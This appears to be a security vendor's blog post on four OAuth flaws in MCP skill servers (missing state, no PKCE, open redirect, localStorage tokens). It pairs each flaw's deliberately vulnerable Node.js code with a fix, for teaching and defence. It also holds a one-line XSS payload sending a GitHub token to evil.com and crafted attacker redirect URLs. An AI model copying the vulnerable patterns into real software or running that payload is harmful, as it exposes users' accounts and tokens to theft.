← Blog

OAuth Security in Claude MCP Skills: State Parameter, PKCE, and Redirect URI Attacks

OAuth 2.0 is the dominant authorization protocol for MCP skills that need to access GitHub repositories, Google Drive, Stripe accounts, or any third-party API on behalf of a user. The protocol is well-specified, but its implementation in Node.js skill servers produces the same four vulnerabilities repeatedly: a missing state nonce that enables CSRF, absent PKCE that lets a malicious app steal the authorization code, a redirect_uri that accepts the post-auth destination from user query parameters (creating an open redirect), and access tokens stored in localStorage where any same-domain XSS can read them in one line. SkillAudit catalogues these as SA-SKL-OAUTH-001 through OAUTH-004. This post covers each attack's mechanics, why OAuth's design makes them non-obvious, and the specific code changes that close each vector.

By SkillAudit  |  5 Nov 2026  |  12 min read

Why OAuth implementation is harder than it looks

OAuth 2.0 (RFC 6749) is a delegation protocol, not an authentication protocol. It issues access tokens that grant a third-party application specific permissions without exposing the user's password. The spec describes the protocol flow in detail, but it deliberately leaves implementation choices to the developer: how to generate and validate the state parameter, whether to use PKCE, how to register and enforce redirect URIs, and where to store tokens after the callback. Each of these choices is a potential vulnerability if made incorrectly.

MCP skills add a layer of complexity. A skill is both a server (it receives OAuth callbacks from the authorization provider) and a client (it uses the resulting access tokens to call GitHub, Google, or Stripe APIs). The same code path that handles the OAuth callback must also protect against CSRF attacks targeting that callback. Skills built in a weekend prototype often skip state validation because it "works without it" — and it does, until an attacker exploits the absence.

SA-SKL-OAUTH scope: OAUTH-001 (state parameter CSRF), OAUTH-002 (absent PKCE), OAUTH-003 (redirect_uri open redirect), OAUTH-004 (localStorage token storage). All four appear in SkillAudit audits of skills integrating with GitHub OAuth Apps, Google OAuth 2.0, and similar providers.

OAUTH-001

State parameter CSRF — binding attacker tokens to victim session

The OAuth state parameter is a CSRF token for the authorization flow. The client generates a random value, includes it in the authorization URL, and verifies that the same value comes back in the callback. Without this check, an attacker can craft an authorization URL for their own account, stop the flow after the authorization provider issues a code, and then trick a victim into completing the callback with that code — binding the attacker's GitHub tokens to the victim's SkillAudit session.

The attack works like this: (1) the attacker initiates a GitHub OAuth flow on their own account and captures the resulting callback URL including the code parameter but before SkillAudit exchanges it; (2) the attacker sends the victim a link to /auth/github/callback?code=ATTACKER_CODE&state=anything; (3) if the victim is already logged in and the callback handler doesn't validate state, SkillAudit exchanges the code and links the attacker's GitHub account to the victim's session; (4) the attacker can now read all of the victim's audit results via the linked GitHub account. This class of attack is documented as CWE-352 and affects a surprising number of production OAuth integrations.

// VULNERABLE: state parameter not generated or not validated on callback
// routes/auth.js

app.get('/auth/github', (req, res) => {
  // No state parameter generated — attacker can craft any callback URL
  const params = new URLSearchParams({
    client_id: process.env.GITHUB_CLIENT_ID,
    redirect_uri: 'https://skillaudit.dev/auth/github/callback',
    scope: 'read:user repo',
    // state: intentionally omitted — "it works without it"
  });
  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});

app.get('/auth/github/callback', async (req, res) => {
  const { code } = req.query;
  // No state validation — attacker controls which code gets exchanged
  const tokenResp = await axios.post('https://github.com/login/oauth/access_token', {
    client_id: process.env.GITHUB_CLIENT_ID,
    client_secret: process.env.GITHUB_CLIENT_SECRET,
    code,
    redirect_uri: 'https://skillaudit.dev/auth/github/callback',
  }, { headers: { Accept: 'application/json' } });

  // This now links WHOEVER'S code was in the URL to req.session.userId
  req.session.githubToken = tokenResp.data.access_token;
  res.redirect('/dashboard');
});
// FIXED: generate a cryptographic nonce, store in session, validate on callback
// routes/auth.js
const crypto = require('crypto');

app.get('/auth/github', (req, res) => {
  // Generate a 32-byte random nonce and store in session
  const state = crypto.randomBytes(32).toString('hex');
  req.session.oauthState = state;

  const params = new URLSearchParams({
    client_id: process.env.GITHUB_CLIENT_ID,
    redirect_uri: 'https://skillaudit.dev/auth/github/callback',
    scope: 'read:user repo',
    state, // Include nonce in authorization URL
  });
  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});

app.get('/auth/github/callback', async (req, res) => {
  const { code, state } = req.query;

  // Validate state before doing anything else
  const expectedState = req.session.oauthState;
  delete req.session.oauthState; // consume nonce (single-use)

  if (!expectedState || !state) {
    return res.status(400).send('Missing OAuth state parameter');
  }
  // Use timing-safe comparison to prevent timing side-channels
  if (!crypto.timingSafeEqual(
    Buffer.from(expectedState, 'utf8'),
    Buffer.from(state, 'utf8')
  )) {
    return res.status(403).send('Invalid OAuth state — possible CSRF attempt');
  }

  const tokenResp = await axios.post('https://github.com/login/oauth/access_token', {
    client_id: process.env.GITHUB_CLIENT_ID,
    client_secret: process.env.GITHUB_CLIENT_SECRET,
    code,
    redirect_uri: 'https://skillaudit.dev/auth/github/callback',
  }, { headers: { Accept: 'application/json' } });

  req.session.githubToken = tokenResp.data.access_token;
  res.redirect('/dashboard');
});
OAUTH-002

Absent PKCE — authorization code interceptable in native and Electron skills

PKCE (Proof Key for Code Exchange, RFC 7636) was designed for public clients — mobile apps, desktop apps, and browser-based SPAs — that cannot safely store a client secret. Without PKCE, the authorization code alone is sufficient to obtain tokens: any application that intercepts the code can exchange it. On mobile, multiple apps can register the same URI scheme (skillaudit://oauth); the OS delivers the redirect to whichever app handles it first; a malicious app that registers the same scheme captures the code. In Electron skills, the redirect may be intercepted by a local attacker monitoring loopback traffic on the custom port.

PKCE closes this by requiring the client to prove it initiated the flow. Before redirecting, the client generates a code_verifier — a random string — and derives a code_challenge from it using SHA-256. The code_challenge is sent in the authorization request. When the client exchanges the code for tokens, it includes the original code_verifier. The authorization server verifies that SHA-256(verifier) equals the challenge it stored. An interceptor who captured only the code has no verifier and cannot exchange it.

// VULNERABLE: authorization code flow without PKCE for a native/Electron skill
// No PKCE means any app that captures the redirect URI gets a usable code

const { shell } = require('electron');
const http = require('http');

function startOAuthFlow() {
  // Start local redirect receiver
  const server = http.createServer(async (req, res) => {
    const url = new URL(req.url, 'http://127.0.0.1:12345');
    const code = url.searchParams.get('code');
    if (code) {
      // Exchange code for token — no PKCE, so an interceptor can also exchange it
      const tokenResp = await axios.post('https://github.com/login/oauth/access_token', {
        client_id: CLIENT_ID,
        client_secret: CLIENT_SECRET, // shouldn't be in a public client, but here we are
        code,
        redirect_uri: 'http://127.0.0.1:12345/callback',
      }, { headers: { Accept: 'application/json' } });
      storeToken(tokenResp.data.access_token);
    }
  });
  server.listen(12345);

  // Open browser with no code_challenge — PKCE not used
  shell.openExternal(`https://github.com/login/oauth/authorize?` +
    `client_id=${CLIENT_ID}&redirect_uri=http://127.0.0.1:12345/callback&scope=repo`);
}
// FIXED: generate code_verifier + code_challenge (S256 method); include verifier in token exchange
const crypto = require('crypto');

function generatePKCE() {
  // code_verifier: 43-128 chars, URL-safe Base64 encoding, never sent over wire until exchange
  const verifier = crypto.randomBytes(32).toString('base64url');
  // code_challenge: SHA-256(verifier), URL-safe Base64 encoded, sent in /authorize request
  const challenge = crypto.createHash('sha256')
    .update(verifier)
    .digest('base64url');
  return { verifier, challenge };
}

async function startOAuthFlow() {
  const { verifier, challenge } = generatePKCE();
  // Store verifier in memory (never persisted, never transmitted until exchange)
  let storedVerifier = verifier;

  const server = http.createServer(async (req, res) => {
    const url = new URL(req.url, 'http://127.0.0.1:12345');
    const code = url.searchParams.get('code');
    if (code) {
      // Include verifier in token exchange — authorization server verifies SHA-256(verifier) === challenge
      const tokenResp = await axios.post('https://github.com/login/oauth/access_token', {
        client_id: CLIENT_ID,
        // No client_secret for public clients using PKCE
        code,
        redirect_uri: 'http://127.0.0.1:12345/callback',
        code_verifier: storedVerifier, // proof that this client initiated the flow
      }, { headers: { Accept: 'application/json' } });
      storedVerifier = null; // consume verifier — single use
      storeToken(tokenResp.data.access_token);
    }
  });
  server.listen(12345);

  // Include code_challenge and method in /authorize URL
  shell.openExternal(`https://github.com/login/oauth/authorize?` +
    `client_id=${CLIENT_ID}` +
    `&redirect_uri=http://127.0.0.1:12345/callback` +
    `&scope=repo` +
    `&code_challenge=${challenge}` +
    `&code_challenge_method=S256`);
}
OAUTH-003

Redirect URI from user parameter — open redirect hands code to attacker

MCP skills commonly add a post-auth redirect so the user lands back on the page they were trying to access: /auth/github?next=/audits/my-repo. The pattern is legitimate and user-friendly. The vulnerability arises when the skill stores the full next URL and then redirects to it after the OAuth callback, without validating that it's a path on the same origin. An attacker can craft /auth/github?next=https://evil.com/steal? and the callback will redirect the authenticated user (and in some implementations, the authorization code or token) to the attacker's server.

The more severe variant: some MCP skills pass the user-supplied post-auth destination as the redirect_uri in the OAuth authorization request itself. GitHub and other providers validate that the redirect_uri matches the registered value — but if the registered value uses a prefix match or wildcard, an attacker can craft a redirect_uri that passes the validation and redirects the code to an attacker-controlled subdomain.

// VULNERABLE: next URL taken from query parameter and used as post-auth redirect without validation
app.get('/auth/github', (req, res) => {
  const state = crypto.randomBytes(32).toString('hex');
  // Attacker crafts: /auth/github?next=https://evil.com/steal?
  // The next URL is stored in state and replayed verbatim after callback
  req.session.oauthState = state;
  req.session.oauthNext = req.query.next || '/dashboard'; // No validation

  const params = new URLSearchParams({
    client_id: process.env.GITHUB_CLIENT_ID,
    redirect_uri: 'https://skillaudit.dev/auth/github/callback',
    scope: 'read:user repo',
    state,
  });
  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});

app.get('/auth/github/callback', async (req, res) => {
  // ... state validation ...
  const next = req.session.oauthNext;
  delete req.session.oauthNext;
  // VULNERABLE: redirect to attacker-controlled URL if next was https://evil.com/...
  res.redirect(next);
});
// FIXED: validate next is a relative path on the same origin; use a session-stored allowlist
app.get('/auth/github', (req, res) => {
  const state = crypto.randomBytes(32).toString('hex');
  req.session.oauthState = state;

  // Validate the next param: must be a relative path starting with /
  const rawNext = req.query.next;
  let safeNext = '/dashboard'; // default
  if (rawNext) {
    try {
      // Parse as a URL relative to our own origin
      const parsed = new URL(rawNext, 'https://skillaudit.dev');
      // Only accept if origin matches — rejects https://evil.com/... and //evil.com/...
      if (parsed.origin === 'https://skillaudit.dev') {
        safeNext = parsed.pathname + parsed.search; // relative path only, no origin
      }
    } catch {
      // Malformed URL — use default
    }
  }
  // Store the validated relative path
  req.session.oauthNext = safeNext;

  const params = new URLSearchParams({
    client_id: process.env.GITHUB_CLIENT_ID,
    redirect_uri: 'https://skillaudit.dev/auth/github/callback', // hardcoded, never from user
    scope: 'read:user repo',
    state,
  });
  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});

app.get('/auth/github/callback', async (req, res) => {
  // ... state validation, token exchange ...
  const next = req.session.oauthNext || '/dashboard';
  delete req.session.oauthNext;
  // Safe: next is a validated relative path, cannot be an external URL
  res.redirect(next);
});
OAUTH-004

Access tokens in localStorage — XSS reads all tokens in one line

Browser-based MCP skill dashboards (React/Vue SPAs) commonly store OAuth access tokens in localStorage for persistence across page reloads. The convenience is real: the token survives a browser restart, requires no server-side session, and is accessible from any JS file in the bundle. The security problem is equally real: localStorage is accessible to all JavaScript running on the same origin, without exception. Any cross-site scripting vulnerability — stored XSS in a repo description, reflected XSS in an error message, DOM-based XSS in a URL fragment handler — allows an attacker to exfiltrate all tokens in a single call: fetch('https://evil.com/steal?t='+localStorage.getItem('github_token')).

The correct storage for OAuth access tokens in browser applications is an httpOnly session cookie set by the server-side callback handler. httpOnly cookies are not accessible to document.cookie and cannot be read by JavaScript, including injected attacker scripts. The OAuth callback handler stores the token in the server-side session (backed by Redis or PostgreSQL), sets an httpOnly SameSite=Strict Secure session cookie, and the browser never sees the raw token. API calls go to the same-origin server, which reads the token from the session and forwards it to GitHub. This adds latency but eliminates the XSS-to-token-exfiltration attack class entirely.

// VULNERABLE: access token stored in localStorage after OAuth callback
// client/src/auth.js (React SPA)

async function handleOAuthCallback() {
  const params = new URLSearchParams(window.location.search);
  const code = params.get('code');

  // Exchange code for token via a public API endpoint
  const resp = await fetch('/api/auth/exchange', {
    method: 'POST',
    body: JSON.stringify({ code }),
    headers: { 'Content-Type': 'application/json' },
  });
  const { access_token } = await resp.json();

  // VULNERABLE: any same-domain XSS reads this with localStorage.getItem('github_token')
  localStorage.setItem('github_token', access_token);
  window.location.replace('/dashboard');
}

// Every API call attaches the token from localStorage — an XSS payload reads it trivially
async function fetchAudits() {
  const token = localStorage.getItem('github_token');
  return fetch('/api/audits', {
    headers: { Authorization: `Bearer ${token}` },
  });
}
// FIXED: server-side callback handler stores token in httpOnly session cookie
// routes/auth.js (Express server)

app.get('/auth/github/callback', async (req, res) => {
  // ... state validation (OAUTH-001 fix) ...

  const { code } = req.query;
  const tokenResp = await axios.post('https://github.com/login/oauth/access_token', {
    client_id: process.env.GITHUB_CLIENT_ID,
    client_secret: process.env.GITHUB_CLIENT_SECRET,
    code,
  }, { headers: { Accept: 'application/json' } });

  const { access_token } = tokenResp.data;

  // Store token in server-side session (Redis-backed, never exposed to browser JS)
  req.session.githubToken = access_token;
  // Session cookie is httpOnly (not readable by document.cookie or fetch),
  // SameSite=Strict (not sent on cross-site requests), Secure (HTTPS only)
  // These attributes are set in session middleware config:
  //   cookie: { httpOnly: true, sameSite: 'strict', secure: true }

  res.redirect('/dashboard'); // Client receives a session cookie, not a token
});

// API proxy: reads token from session on the server, never sends token to browser
app.get('/api/audits', authenticate, async (req, res) => {
  const token = req.session.githubToken; // Server-side read — not accessible to browser JS
  const repos = await axios.get('https://api.github.com/user/repos', {
    headers: { Authorization: `Bearer ${token}` },
  });
  res.json(repos.data);
});

// Fallback for SPA: in-memory module variable (survives page lifetime, lost on tab close)
// If httpOnly cookie architecture is not feasible:
// let _memToken = null;
// const setToken = (t) => { _memToken = t; };
// const getToken = () => _memToken;
// Never: sessionStorage, never: localStorage

OAuth implementation checklist for MCP skills

These four patterns form the minimum OAuth security baseline for any MCP skill that initiates authorization flows. Beyond the four SA-SKL-OAUTH patterns, production OAuth implementations should also address token refresh rotation (issue a new refresh token on every use and invalidate the previous one — prevents refresh token replay from long-lived token compromise), scope minimization (request only the scopes the skill actually uses — not repo when read:user suffices), and token revocation on logout (call the provider's revocation endpoint, not just clear the session cookie).

SkillAudit's static analysis detects OAUTH-001 through OAUTH-004 by examining authorization route handlers for state parameter generation and callback validation, detecting PKCE parameters in authorization URLs for public client patterns, checking redirect targets in callback handlers against origin validators, and flagging localStorage.setItem calls in OAuth callback handlers and token storage patterns in front-end code. The SA-SKL-OAUTH reference page contains the full detection criteria and code remediation templates for each pattern.

SkillAudit detection summary — SA-SKL-OAUTH

Pattern IDSeverityWhat SkillAudit flagsFix
OAUTH-001 HIGH OAuth callback handler reads req.query.code without comparing req.query.state to a session-stored nonce; or state generated without crypto.randomBytes() crypto.randomBytes(32).toString('hex') stored in session; crypto.timingSafeEqual comparison on callback
OAUTH-002 HIGH Native/Electron skill authorization URL missing code_challenge + code_challenge_method=S256; token exchange missing code_verifier Generate code_verifier via randomBytes(32).toString('base64url'); derive code_challenge via SHA-256; include both in flow
OAUTH-003 HIGH Post-auth redirect destination taken from req.query.next or req.query.redirect without origin validation; redirect_uri derived from user input Parse with new URL(next, APP_ORIGIN); accept only if parsed.origin === APP_ORIGIN; store relative path in session
OAUTH-004 MEDIUM localStorage.setItem('*token*', ...) or localStorage.setItem('*access*', ...) in OAuth callback handler or token storage module Store tokens in httpOnly session cookie set by server-side callback; proxy all third-party API calls through the same-origin server

Related patterns: For CSRF attacks on non-OAuth endpoints, see SA-SKL-CSRF. For the full OAuth flow security review including token scope and refresh rotation, see the SA-SKL-OAUTH reference page. For storing session data securely including cookie attributes, see SA-SKL-SSECOOKIE. For XSS prevention that reduces the blast radius of OAUTH-004, see SA-SKL-ESCAPE.